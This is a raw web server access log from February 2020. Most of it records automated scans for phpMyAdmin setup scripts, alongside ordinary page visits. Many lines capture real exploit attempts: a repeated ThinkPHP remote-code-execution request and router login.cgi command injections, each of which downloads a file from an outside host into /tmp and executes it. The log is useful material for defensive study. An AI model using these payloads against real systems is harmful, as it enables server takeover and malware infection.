123.207.210.64 - - [11/Feb/2020:05:40:36 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:40:37 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:40:38 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:40:43 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:40:44 +0100] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:40:44 +0100] "GET //mysql/scripts/setup.php HTTP/1.1" 404 328 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:40:45 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:40:46 +0100] "GET //dbadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:40:48 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:40:58 +0100] "GET //mysql/scripts/setup.php HTTP/1.1" 404 328 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:41:00 +0100] "GET //\xc2\xac/scripts/setup.php HTTP/1.1" 404 325 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:41:06 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:41:07 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:41:08 +0100] "GET //admin HTTP/1.1" 404 310 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:41:09 +0100] "GET //phpMyAdmin-2.10.2.0/scripts/setup.php HTTP/1.1" 404 342 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:41:14 +0100] "GET //mysqladmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:41:16 +0100] "GET //phpadmin/scripts/setup.php HTTP/1.1" 404 331 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:41:33 +0100] "GET //_phpMyAdmin/scripts/setup.php HTTP/1.1" 404 334 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:41:35 +0100] "GET //phpMyAdmin-2.10.0.0/scripts/setup.php HTTP/1.1" 404 342 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:41:36 +0100] "GET //phpMyAdmin-2.10.0.1/scripts/setup.php HTTP/1.1" 404 342 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:41:36 +0100] "GET //phpmy/scripts/setup.php HTTP/1.1" 404 328 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:41:37 +0100] "GET //phpMyAdmin-2.10.0.2/scripts/setup.php HTTP/1.1" 404 342 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:41:37 +0100] "GET //db/scripts/setup.php HTTP/1.1" 404 325 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:41:38 +0100] "GET //phpMyAdmin-2.10.0.0/scripts/setup.php HTTP/1.1" 404 342 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:41:39 +0100] "GET //phpMyAdmin-2.10.0.1/scripts/setup.php HTTP/1.1" 404 342 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:41:39 +0100] "GET //scripts/setup.php HTTP/1.1" 404 322 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:41:39 +0100] "GET //phpmyadmin2/scripts/setup.php HTTP/1.1" 404 334 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:41:40 +0100] "GET //phpMyAdmin-2.6.6/scripts/setup.php HTTP/1.1" 404 339 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:41:41 +0100] "GET //phpMyAdmin-2.10.0.2/scripts/setup.php HTTP/1.1" 404 342 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:41:41 +0100] "GET //_phpMyAdmin/scripts/setup.php HTTP/1.1" 404 334 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:41:41 +0100] "GET //phpMyAdmin-2.6.9/scripts/setup.php HTTP/1.1" 404 339 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:41:41 +0100] "GET //phpMyAdmin-2.10.0/scripts/setup.php HTTP/1.1" 404 340 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:41:42 +0100] "GET //phpMyAdmin-2.10.1.0/scripts/setup.php HTTP/1.1" 404 342 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:41:45 +0100] "GET //phpMyAdmin-2.7.0-beta1/scripts/setup.php HTTP/1.1" 404 345 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:41:45 +0100] "GET //phpMyAdmin-2.10.0.1/scripts/setup.php HTTP/1.1" 404 342 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:41:47 +0100] "GET //phpMyAdmin-2.7.0-pl1/scripts/setup.php HTTP/1.1" 404 343 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:41:48 +0100] "GET //phpMyAdmin-2.7.0-pl2/scripts/setup.php HTTP/1.1" 404 343 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:41:49 +0100] "GET //phpMyAdmin-2.10.0.2/scripts/setup.php HTTP/1.1" 404 342 "-" "-"
167.71.182.143 - - [11/Feb/2020:05:41:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
123.207.210.64 - - [11/Feb/2020:05:41:51 +0100] "GET //phpMyAdmin-2.10.0.0/scripts/setup.php HTTP/1.1" 404 342 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:41:54 +0100] "GET //phpMyAdmin-2.10.0.1/scripts/setup.php HTTP/1.1" 404 342 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:41:54 +0100] "GET //phpMyAdmin-2.10.2.0/scripts/setup.php HTTP/1.1" 404 342 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:41:54 +0100] "GET //phpMyAdmin-2.7.6/scripts/setup.php HTTP/1.1" 404 339 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:42:01 +0100] "GET //phpMyAdmin-2.7.7/scripts/setup.php HTTP/1.1" 404 339 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:42:01 +0100] "GET //phpMyAdmin-2.11.1.2/scripts/setup.php HTTP/1.1" 404 342 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:42:07 +0100] "GET //phpMyAdmin-2.8.3/scripts/setup.php HTTP/1.1" 404 339 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:42:07 +0100] "GET //phpMyAdmin-2.8.4/scripts/setup.php HTTP/1.1" 404 339 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:42:08 +0100] "GET //phpMyAdmin-2.8.5/scripts/setup.php HTTP/1.1" 404 339 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:42:08 +0100] "GET //phpMyAdmin-2.8.6/scripts/setup.php HTTP/1.1" 404 339 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:42:09 +0100] "GET //phpMyAdmin-2.8.7/scripts/setup.php HTTP/1.1" 404 339 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:42:11 +0100] "GET //phpMyAdmin-2.11.0.0/scripts/setup.php HTTP/1.1" 404 342 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:42:16 +0100] "GET //phpMyAdmin-2.8.8/scripts/setup.php HTTP/1.1" 404 339 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:42:17 +0100] "GET //phpMyAdmin-2.8.9/scripts/setup.php HTTP/1.1" 404 339 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:42:19 +0100] "GET //phpMyAdmin-2.9.0-rc1/scripts/setup.php HTTP/1.1" 404 343 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:42:20 +0100] "GET //phpMyAdmin-2.9.0.1/scripts/setup.php HTTP/1.1" 404 341 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:42:20 +0100] "GET //phpMyAdmin-2.9.0.2/scripts/setup.php HTTP/1.1" 404 341 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:42:21 +0100] "GET //phpMyAdmin-2.6.6/scripts/setup.php HTTP/1.1" 404 339 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:42:23 +0100] "GET //phpMyAdmin-2.9.0/scripts/setup.php HTTP/1.1" 404 339 "-" "-"
185.57.70.137 - - [11/Feb/2020:05:42:30 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
5.251.216.166 - - [11/Feb/2020:05:42:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
123.207.210.64 - - [11/Feb/2020:05:42:46 +0100] "GET //phpMyAdmin-2.8.2.3/scripts/setup.php HTTP/1.1" 404 341 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:42:47 +0100] "GET //phpMyAdmin-2.9.1/scripts/setup.php HTTP/1.1" 404 339 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:42:48 +0100] "GET //phpMyAdmin-3.1.0.0-english/scripts/setup.php HTTP/1.1" 404 349 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:42:49 +0100] "GET //phpMyAdmin-3.1.0.0/scripts/setup.php HTTP/1.1" 404 341 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:42:50 +0100] "GET //phpMyAdmin-3.1.2.0-all-languages/scripts/setup.php HTTP/1.1" 404 355 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:42:50 +0100] "GET //phpMyAdmin-2.8.2/scripts/setup.php HTTP/1.1" 404 339 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:42:52 +0100] "GET //phpMyAdmin-3.1.2.0-english/scripts/setup.php HTTP/1.1" 404 349 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:42:52 +0100] "GET //phpMyAdmin-2.7.0-pl1/scripts/setup.php HTTP/1.1" 404 343 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:42:52 +0100] "GET //phpMyAdmin-3.1.2.0/scripts/setup.php HTTP/1.1" 404 341 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:42:52 +0100] "GET //phpMyAdmin-2.8.3/scripts/setup.php HTTP/1.1" 404 339 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:42:55 +0100] "GET //phpMyAdmin-2.8.4/scripts/setup.php HTTP/1.1" 404 339 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:42:55 +0100] "GET //phpMyAdmin-2.8.5/scripts/setup.php HTTP/1.1" 404 339 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:42:59 +0100] "GET //phpMyAdmin-2.7.0-pl2/scripts/setup.php HTTP/1.1" 404 343 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:43:01 +0100] "GET //phpMyAdmin-2.7.5/scripts/setup.php HTTP/1.1" 404 339 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:43:02 +0100] "GET //phpMyAdmin-2.8.6/scripts/setup.php HTTP/1.1" 404 339 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:43:02 +0100] "GET //phpMyAdmin-2.7.6/scripts/setup.php HTTP/1.1" 404 339 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:43:09 +0100] "GET //phpMyAdmin-2.7.7/scripts/setup.php HTTP/1.1" 404 339 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:43:12 +0100] "GET //phpMyAdmin-2.8.2.3/scripts/setup.php HTTP/1.1" 404 341 "-" "-"
109.196.69.68 - - [11/Feb/2020:05:43:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
123.207.210.64 - - [11/Feb/2020:05:43:13 +0100] "GET //phpMyAdmin-2.8.2/scripts/setup.php HTTP/1.1" 404 339 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:43:24 +0100] "GET //phpMyAdmin-2.9.0/scripts/setup.php HTTP/1.1" 404 339 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:43:25 +0100] "GET //phpMyAdmin-2.9.1/scripts/setup.php HTTP/1.1" 404 339 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:43:26 +0100] "GET //phpMyAdmin-2.9.2/scripts/setup.php HTTP/1.1" 404 339 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:43:28 +0100] "GET //phpMyAdmin-2/scripts/setup.php HTTP/1.1" 404 335 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:43:28 +0100] "GET //phpMyAdmin-3.0.0.0-all-languages/scripts/setup.php HTTP/1.1" 404 355 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:43:29 +0100] "GET //phpMyAdmin-3.0.1.0-english/scripts/setup.php HTTP/1.1" 404 349 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:43:30 +0100] "GET /muieblackcat HTTP/1.1" 404 317 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:43:31 +0100] "GET //phpMyAdmin-3.0.1.0/scripts/setup.php HTTP/1.1" 404 341 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:43:31 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:43:32 +0100] "GET //phpMyAdmin-3.0.1.1/scripts/setup.php HTTP/1.1" 404 341 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:43:32 +0100] "GET //phpMyAdmin-3.1.0.0-english/scripts/setup.php HTTP/1.1" 404 349 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:43:33 +0100] "GET //phpMyAdmin-3.1.0.0/scripts/setup.php HTTP/1.1" 404 341 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:43:35 +0100] "GET //phpMyAdmin-3.1.2.0-all-languages/scripts/setup.php HTTP/1.1" 404 355 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:43:35 +0100] "GET //phpMyAdmin-3.1.2.0-english/scripts/setup.php HTTP/1.1" 404 349 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:43:45 +0100] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:43:45 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:43:46 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:43:47 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:43:49 +0100] "GET //phpMyAdmin-2.9.0/scripts/setup.php HTTP/1.1" 404 339 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:43:50 +0100] "GET //dbadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:43:51 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:43:51 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:44:06 +0100] "GET //phpMyAdmin-3.0.1.0-english/scripts/setup.php HTTP/1.1" 404 349 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:44:07 +0100] "GET //phpMyAdmin-3.0.1.0/scripts/setup.php HTTP/1.1" 404 341 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:44:11 +0100] "GET //phpMyAdmin-3.0.1.1/scripts/setup.php HTTP/1.1" 404 341 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:44:19 +0100] "GET //phpMyAdmin-3.1.0.0-english/scripts/setup.php HTTP/1.1" 404 349 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:44:26 +0100] "GET //phpMyAdmin-3.1.2.0-english/scripts/setup.php HTTP/1.1" 404 349 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:44:29 +0100] "GET //db/scripts/setup.php HTTP/1.1" 404 325 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:44:34 +0100] "GET //phpMyAdmin-3.1.2.0/scripts/setup.php HTTP/1.1" 404 341 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:44:34 +0100] "GET //scripts/setup.php HTTP/1.1" 404 322 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:44:35 +0100] "GET //phpmyadmin2/scripts/setup.php HTTP/1.1" 404 334 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:44:38 +0100] "GET //phpMyAdmin-3.4.3.1/scripts/setup.php HTTP/1.1" 404 341 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:44:41 +0100] "GET //phpMyAdmin3/scripts/setup.php HTTP/1.1" 404 334 "-" "-"
85.99.124.57 - - [11/Feb/2020:05:44:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
123.207.210.64 - - [11/Feb/2020:05:45:02 +0100] "GET //phpMyAdmin-2.10.0/scripts/setup.php HTTP/1.1" 404 340 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:45:05 +0100] "GET //phpMyAdmin-2.10.1.0/scripts/setup.php HTTP/1.1" 404 342 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:45:20 +0100] "GET //phpMyAdmin-2.11.1.1/scripts/setup.php HTTP/1.1" 404 342 "-" "-"
159.255.160.226 - - [11/Feb/2020:05:45:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
123.207.210.64 - - [11/Feb/2020:05:45:38 +0100] "GET //phpMyAdmin-2.6.4-pl3/scripts/setup.php HTTP/1.1" 404 343 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:45:41 +0100] "GET //phpMyAdmin-2.6.4-pl4/scripts/setup.php HTTP/1.1" 404 343 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:45:41 +0100] "GET //phpMyAdmin-2.6.4-rc1/scripts/setup.php HTTP/1.1" 404 343 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:45:50 +0100] "GET //phpMyAdmin-2.6.6/scripts/setup.php HTTP/1.1" 404 339 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:45:55 +0100] "GET //phpMyAdmin-2.7.0-pl1/scripts/setup.php HTTP/1.1" 404 343 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:45:55 +0100] "GET //phpMyAdmin-2.7.0-pl2/scripts/setup.php HTTP/1.1" 404 343 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:45:56 +0100] "GET //phpMyAdmin-2.7.0-rc1/scripts/setup.php HTTP/1.1" 404 343 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:46:00 +0100] "GET //phpMyAdmin-2.7.6/scripts/setup.php HTTP/1.1" 404 339 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:46:22 +0100] "GET //phpMyAdmin-2.8.5/scripts/setup.php HTTP/1.1" 404 339 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:46:25 +0100] "GET //phpMyAdmin-2.8.6/scripts/setup.php HTTP/1.1" 404 339 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:46:44 +0100] "GET //phpMyAdmin-2.8.7/scripts/setup.php HTTP/1.1" 404 339 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:46:54 +0100] "GET //phpMyAdmin-2.9.2/scripts/setup.php HTTP/1.1" 404 339 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:46:54 +0100] "GET //phpMyAdmin-2/scripts/setup.php HTTP/1.1" 404 335 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:46:55 +0100] "GET //phpMyAdmin-3.0.0.0-all-languages/scripts/setup.php HTTP/1.1" 404 355 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:46:56 +0100] "GET //phpMyAdmin-3.0.1.0-english/scripts/setup.php HTTP/1.1" 404 349 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:47:29 +0100] "GET //phpMyAdmin3/scripts/setup.php HTTP/1.1" 404 334 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:47:30 +0100] "GET //admin/scripts/setup.sh HTTP/1.1" 404 327 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:47:34 +0100] "GET //sql/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:47:36 +0100] "GET //pma2/scripts/setup.php HTTP/1.1" 404 327 "-" "-"
123.207.210.64 - - [11/Feb/2020:05:47:37 +0100] "GET //SQL/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
94.28.123.75 - - [11/Feb/2020:05:54:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
79.8.70.162 - - [11/Feb/2020:05:57:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
82.160.150.92 - - [11/Feb/2020:05:57:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.103.205 - - [11/Feb/2020:06:00:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
47.111.12.199 - - [11/Feb/2020:06:02:21 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
94.28.78.60 - - [11/Feb/2020:06:05:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
42.117.213.73 - - [11/Feb/2020:06:05:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
79.187.172.218 - - [11/Feb/2020:06:09:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
42.114.133.249 - - [11/Feb/2020:06:11:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.114.25.47 - - [11/Feb/2020:06:14:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
68.43.155.239 - - [11/Feb/2020:06:17:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
42.117.20.235 - - [11/Feb/2020:06:21:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.225.119.202 - - [11/Feb/2020:06:21:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
109.196.67.41 - - [11/Feb/2020:06:21:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
118.71.110.151 - - [11/Feb/2020:06:21:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.114.149.229 - - [11/Feb/2020:06:26:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.118.121.248 - - [11/Feb/2020:06:27:01 +0100] "GET / HTTP/1.1" 200 1229 "https://damianis.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.118.121.248 - - [11/Feb/2020:06:27:01 +0100] "GET / HTTP/1.1" 200 1229 "https://damianis.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.118.121.248 - - [11/Feb/2020:06:27:02 +0100] "GET / HTTP/1.1" 200 1229 "https://damianis.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
113.22.43.215 - - [11/Feb/2020:06:27:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.40.112 - - [11/Feb/2020:06:28:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
139.162.119.197 - - [11/Feb/2020:06:29:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
179.53.92.94 - - [11/Feb/2020:06:30:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
177.66.208.235 - - [11/Feb/2020:06:31:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
45.56.78.64 - - [11/Feb/2020:06:33:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
42.116.230.71 - - [11/Feb/2020:06:34:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
180.96.14.25 - - [11/Feb/2020:06:37:53 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.44.197.27 - - [11/Feb/2020:06:37:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
180.96.14.25 - - [11/Feb/2020:06:37:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
